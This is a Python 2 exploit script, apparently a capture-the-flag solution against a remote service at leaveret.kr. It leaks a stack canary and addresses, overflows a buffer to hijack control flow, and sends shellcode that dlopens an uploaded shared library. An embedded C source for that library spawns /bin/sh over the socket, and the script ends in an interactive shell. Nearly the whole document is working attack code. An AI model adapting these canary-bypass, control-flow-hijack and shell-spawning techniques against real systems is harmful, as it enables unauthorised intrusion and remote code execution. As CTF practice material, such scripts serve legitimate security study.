import socket
import struct
import os
import random
import telnetlib
p = lambda x: struct.pack("<L", x & 0xffffffff)
up = lambda x: struct.unpack("<L", x)[0]
#HOST = \'0.0.0.0\'
#PORT = 9797
HOST = \'leaveret.kr\'
PORT = 9001
t = telnetlib.Telnet()
s = socket.create_connection((HOST, PORT))
d = \'\'
while \'choice\' not in d:
c = s.recv(10240)
print c
d += c
s.send(\'A\')
data = s.recv(1024)
canary = data[0x100-8:][:4]
stack = data[0x100:][:4]
pc = data[0x104:][:4]
print `canary`, `stack`
print `data`
pc = up(pc)
stack = up(stack)
s = socket.create_connection((HOST, PORT))
d = \'\'
while \'choice\' not in d:
c = s.recv(10240)
print c
d += c
mmap_base = pc - 0x10ce
new_pc = mmap_base + stack - 0x1000
print hex(new_pc)
stage0 = "A" * (0x100 - 8)
stage0 += canary
stage0 += "A" * 4
stage0 += "A" * 4
stage0 += p(new_pc)
\'\'\'
#########################################################
# if you want to exclude compile procedure
# please compile your own library manually
# static compile is preferred
#########################################################
source = """
int init() {
unsigned int **RegTable =*(unsigned int *)0x80ee344;
char buf[2560];
sprintf(buf, "/bin/sh <&%d >&%d", RegTable[7], RegTable[7]);
system(buf);
}
"""
lib_file = open(\'_my_lib.c\', \'wb\')
lib_file.write(source)
lib_file.close()
os.system(\'gcc _my_lib.c -o _my_lib -m32 --shared -static -Wl,-init,init\')
lib_compiled = open(\'_my_lib\', \'rb\')
lib_data = lib_compiled.read()
lib_compiled.close()
\'\'\'
# /tmp/tmp/mylib is my library which was compiled with source above
path = \'/tmp/\' + your_uploaded_library + \'\\x00\' # thorugh another prob\'s shell
stage1 = "A" * (15 - 7) + path
# mov opTable[15], offset dlopen_doit (and skip padding)
shellcode = bytearray([0, 0b00100100]) + chr(8 + len(stage1)) + p((0x80edf40 + 15 * 4) - mmap_base) + p(0x80b6e50)
# padding + library path
shellcode += stage1
# and calls dlopen_doit
shellcode += bytearray([15]) + p(new_pc + 4)[1:] + p(1) + p(-1) + p(0x41414141)
stage0 += shellcode
s.send(stage0.ljust(4096, "\\x00"))
s.recv(1024) # recieve some data
t.sock = s
t.interact() # shell!